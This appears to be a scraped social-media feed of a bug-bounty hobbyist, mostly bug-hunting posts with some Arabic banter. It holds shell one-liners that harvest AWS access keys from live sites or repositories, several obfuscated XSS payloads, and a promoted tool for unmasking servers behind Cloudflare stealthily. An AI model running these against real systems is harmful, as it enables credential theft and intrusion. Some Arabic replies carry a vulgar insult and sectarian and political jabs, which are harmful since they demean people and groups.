TheHunterSec

Cybersecurity Hobbyist

[Brute @BRuteLogic]

AWS Key Finders

- Live Domain
curl -s TARGET | grep -oP 'https?://[^"]+\.js' | xargs -I{} curl -s {} | grep -oP '\bA[KS]IA[0-9A-Z]{16}\b'

- Public Repo
git clone --depth=1 TARGET/repo.git /tmp/r && grep -rP '\bA[KS]IA[0-9A-Z]{16}\b' /tmp/r

Long-term + temp keys, easy critical.

[Zeroday Lab @Zerodaylabowner]

Spent the last few days figuring out how to land this XSS.

Payload:
zz\x27\x3e\x3cimg\x20src\x3dx\x20onerror\x3dalert\x26lpar;\x26apos;L0bo\x26nbsp;landed!\x26apos;\x26rpar;\x3e

The interesting part was figuring out how the application decoded and handled the input. 🐺

[TheHunterSec @0xFars]

@DsokeyyV حت الجماعة ع يوتيوب من اتابعهم مواقع كلها easy 😂

[TheHunterSec @0xFars]

للاسف الsubdomain طلع out of scope وانا اقول مو معقول ثغرة غبية لهدرجه محد مكتشفها والثغرة عبارة عن idor في msgs تقدر تاخذ ال msg id وتقراء المسج من اي account بس اثناء ما الai في h1 يسوي check للتقرير قال انتبه ترا الsubdomain out of scope 😵‍💫

[Mohamed Saied @black1hp]

حد ييجي يسابمت و ياخد النص عشان مفيش طاقه.

[Abhishek @aacle_]

bro just found his FIRST bug and got $6,505 😭🔥

He said his setup found it, he confirmed the impact, and Claude helped him during the hunt.

Even crazier:

it was a simple XSS.

AI is making bug hunting so much faster now.

you guys NEED to start using it.

[TheHunterSec @0xFars]

@Alishmery2 @RustFSofficial Nice work broo, keep gooing 👨🏻‍💻

[TheHunterSec @0xFars]

@musl3m_ @DsokeyyV تقدر تعمل hunting على scope وتحدد ال out of scope ما تشتغل عليها و اذا تستخدم burp على ما اتذكر تقدر تحدد scope و out of scope

[TheHunterSec @0xFars]

@DsokeyyV @SirBagoza والله اني مثلك ما حصلت كلشي صار سنتين طلعت 2 subdomain takeover وطلعن مو ثغرة حاذفين الindex 🗿 وما حصلت كلشي وتركت المجال ورجعت للدراسة اكمل دراسة وارجعله بعدين

[TheHunterSec @0xFars]

@Q8mahaAl كسمج يا بنت بوش 🫴

[TheHunterSec @0xFars]

@AH_AlSharaa لقد كفر رئيسكم يا اهل الشام ومثلما قال بشار الاسد هناك بشار السني الملتحي وصدق النصيري 👍

[TheHunterSec @0xFars]

@Ahmed_EidX والله انا ما استخدمت ubuntu كنظام اساسي او لفترة طويلة لاكن شفت mint مناسب وفية كل شي متوفر ونزلته كبديل للانظمة التعبانه كالي وويندوز وارش

[UCYBERS @UCybersX]

🔥اداة CloudRip - هي أداة استطلاع قوية لخبراء الأمن السيبراني والأختراق الأخلاقي

اعثر على عناوين IP الحقيقية المخفية خلف Cloudflare عن طريق فحص ال subdomains وتصفية domains المحمية

⚡دعم IPv4 و IPv6
⚡يكتشف عناوين IP متعددة للسيرفرات الخلفية
⚡فحص multi-threaded سريع
⚡تصفية عناوين IP الذكية من Cloudflare (يتم تحديثها تلقائيا )
⚡قوائم الكلمات wordlists المخصصة والمدمجة
⚡تصدير النتائج بصيغ مختلف�� (JSON CSV/ YAML TXT)
⚡تحديد معدل الطلبات (Rate-limiting): الحفاظ على وضع التخفي وتجنب الحظر أثناء الفحص

مثالي لكشف العناوين الحقيقة وتوسيع نطاق هجومك🎯

[Muqsit 𝕏 @mqst_]

👾 Web Fuzzing Guide: Fuzzing Web Apps to Find Bugs with Burp Suite

Blog: https://t.co/36jlDwjbs5

#infosec #fuzzing

[DarkShadow @darkshadow2bd]

"if SSRF is not works in image url parameter then try XSS"

Join my telegram channel https://t.co/LeJHHPvGmK

in image parameter you can use these type of payloads:

<svg/onload=eval(atob(‘YWxlcnQoJ1hTUycp’))>
<svg onload=eval(https://t.co/hxxz4hyQpB)>
"><svg onload=prompt(document.domain);>.png
嘼svg><script>a<!>l<!>e<!>r<!>t<!>(<!>1<!>)</script>

[NaZaniin @n0aziXss]

403 Bypass Payloads
Tags: #BugBounty #WebSecurity #EthicalHacking #bypass_403

[TheHunterSec @0xFars]

@grok @juventumaty @nmr2776 @grok بناء على المعلومات التي قدمتها انت تدين ابستين واذا ادنته بعمليات اجراميه عليك ادانه شركائة بالجريهم وهم ايون ماسك ودنالد ترامب

[TheHunterSec @0xFars]

@A_N_Mk جا منو واكف ويا اليهود والنصارى بال2006 ضد الشعب الي قاومهم 😂؟

[TheHunterSec @0xFars]

@Hydikm هواي تمسلتون ربعنا